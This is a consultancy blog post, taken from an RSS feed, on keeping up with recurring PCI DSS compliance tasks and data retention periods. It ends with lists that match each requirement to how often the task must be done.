<p>There are several PCI DSS requirements that are related to tasks that must be performed on a regular basis. The frequency of these tasks varies from daily to annual. There are also a few requirements that make it important to have PCI DSS compliant data retention policies and procedures in place. An example of a requirement that calls for a task to be performed periodically is requirement <strong>11.2.2: Perform quarterly external vulnerability scans via an Approved Scanning Vendor (ASV)</strong>. An example of a requirement the calls for compliant data retention policies and procedures is requirement <strong>9.4: Use a visitor log to maintain a physical audit trail of visitor activity. Retain this log for a minimum of three months, unless otherwise restricted by law</strong>. If processes or checklists are not in place to track your compliance with these reoccurring tasks, you may be in for an unpleasant surprise during your next annual ROC assessment.</p>
<h3>Are You Certifiable?</h3>
<p>11.2.2 is one of the classic requirements where we see this happen all too often. When we ask a customer if we can review the <em>certified</em>, passing ASV scans from the last four quarters and we get a response such as, “Oops, Susie was responsible for that and she was reassigned to a different department…” we stick our fingers in our ears and say “la la la la” but that hasn’t ever made the problem go away. Unfortunately, when this happens, instead of a 10 minute conversation reviewing 4 certified and passing ASV scans, we have to buy a few pizza’s, cross our fingers and review several external vulnerability scan reports in hopes that the customer can demonstrate they are scanning and remediating to meet the spirit and intent of requirement 11.2.2.</p>
<h3>A Ruleset Only a Mother Could Love</h3>
<p>We have seen some very ugly firewall rule sets. We do understand that the business must be able to function and exists to make as large a profit as possible – not to sing the praises of PCI. But as QSA’s, we do need to see six month firewall and router rule set reviews and evidence that the rule sets are being maintained with good hygiene. Maintaining clean and healthy firewall rule sets is similar to a good exercise regimen. If your doctor gives you a daily exercise program to maintain your health and you follow it in a haphazard fashion, your doctor is not going to be able to give you a good health report upon your next doctor’s visit. Similarly, you need a solid program in place to make sure that your firewall rule sets remain healthy and only allow the outbound and inbound network traffic that is actually needed and authorized. And let’s face it, automation is needed for most organizations to manage their firewall and router rule sets effectively. Fortunately there are several excellent solutions available on the market that give you the ability to manage your firewall and router rule sets. For example, these solutions can analyze your rule sets to find overlapping and redundant rules, rules that have not been used over that last X days or rules that allow “any” access – a big PCI no-no. They can also provide the change control mechanisms needed to make sure that changes to firewall rule sets are reviewed and approved by authorized individuals and are properly documented so that rule sets are closely and properly managed.</p>
<h3>&#8220;The Matrix&#8221;</h3>
<p>To assist you with making sure that your security program is giving proper attention to specific PCI requirements, we are providing the following two lists. These can be used to create a matrix, review your security operations and to correct any gaps that you may uncover. List 1 covers the frequency with which tasks must be performed related to specific PCI DSS requirements. List 2 shows data retention periods tied to specific requirements. With a little planning, you can keep your PCI compliance on track at all times and avoid unpleasant surprises when your friendly QSA shows up for your next ROC assessment!</p>
<h3>List 1 &#8211; Recurring PCI Compliance Tasks</h3>
<p>1.1.6 &#8211; Review firewall and router rule sets (Every 6 Months)</p>
<p>3.1.1 &#8211; Automatic or manual process for identifying and securely deleting stored cardholder data (Quarterly)</p>
<p>6.1 &#8211; All system components and software are protected from known vulnerabilities (Monthly)</p>
<p>6.6 &#8211; Address new threats and vulnerabilities for public-facing web applications (At least annually and after any changes)</p>
<p>8.5.5 &#8211; Remove/disable inactive user accounts (Quarterly)</p>
<p>9.5 &#8211; Review security of backup media storage location (Annually)</p>
<p>9.9.1 &#8211; Properly maintain inventory logs of all media and conduct media inventories (Annually)</p>
<p>10.6 &#8211; Review logs for all system components (Daily)</p>
<p>11.1 &#8211; Test for the presence of wireless access points and detect unauthorized wireless access points (Quarterly)</p>
<p>11.2.1 &#8211; Perform internal vulnerability scans (Quarterly)</p>
<p>11.2.2 &#8211; Perform external vulnerability scans via an Approved Scanning Vendor (Quarterly)</p>
<p>11.2.3 &#8211; Perform internal and external scans (After any significant change)</p>
<p>11.3 &#8211; Perform external and internal penetration testing (At least once a year and after any significant infrastructure or application upgrade or modification)</p>
<p>11.5 &#8211; Deploy file-integrity monitoring tools and perform critical file comparisons (Weekly)</p>
<p>12.1.2 &#8211; Perform and document a formal risk assessment (Annually)</p>
<p>12.1.3 &#8211; Review security policy and update when the environment changes (Annually)</p>
<p>12.2 &#8211; Develop daily operational security procedures (Daily)</p>
<p>12.6.1 &#8211; Educate personnel (Upon hire and at least annually)</p>
<p>12.6.2 &#8211; Require personnel to acknowledge that they have read and understand the security policy and procedures (Annually)</p>
<p>12.8.4 &#8211; Maintain a program to monitor service providers’ PCI DSS compliance status (Annually)</p>
<h3>List 2 &#8211; Data Retention Periods</h3>
<p>9.1.1 &#8211; Store video camera and/or controls mechanism log (3 months)</p>
<p>9.4 &#8211; Retain visitor logs (3 months)</p>
<p>10.7 &#8211; Retain audit trail history (1 year)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1241/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1241&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/02/28/set-and-dont-forget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/405a700f3429a606e0beee7c376b9359?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">zephyrboy2000</media:title>
		</media:content>
	</item>
	</channel>
</rss>
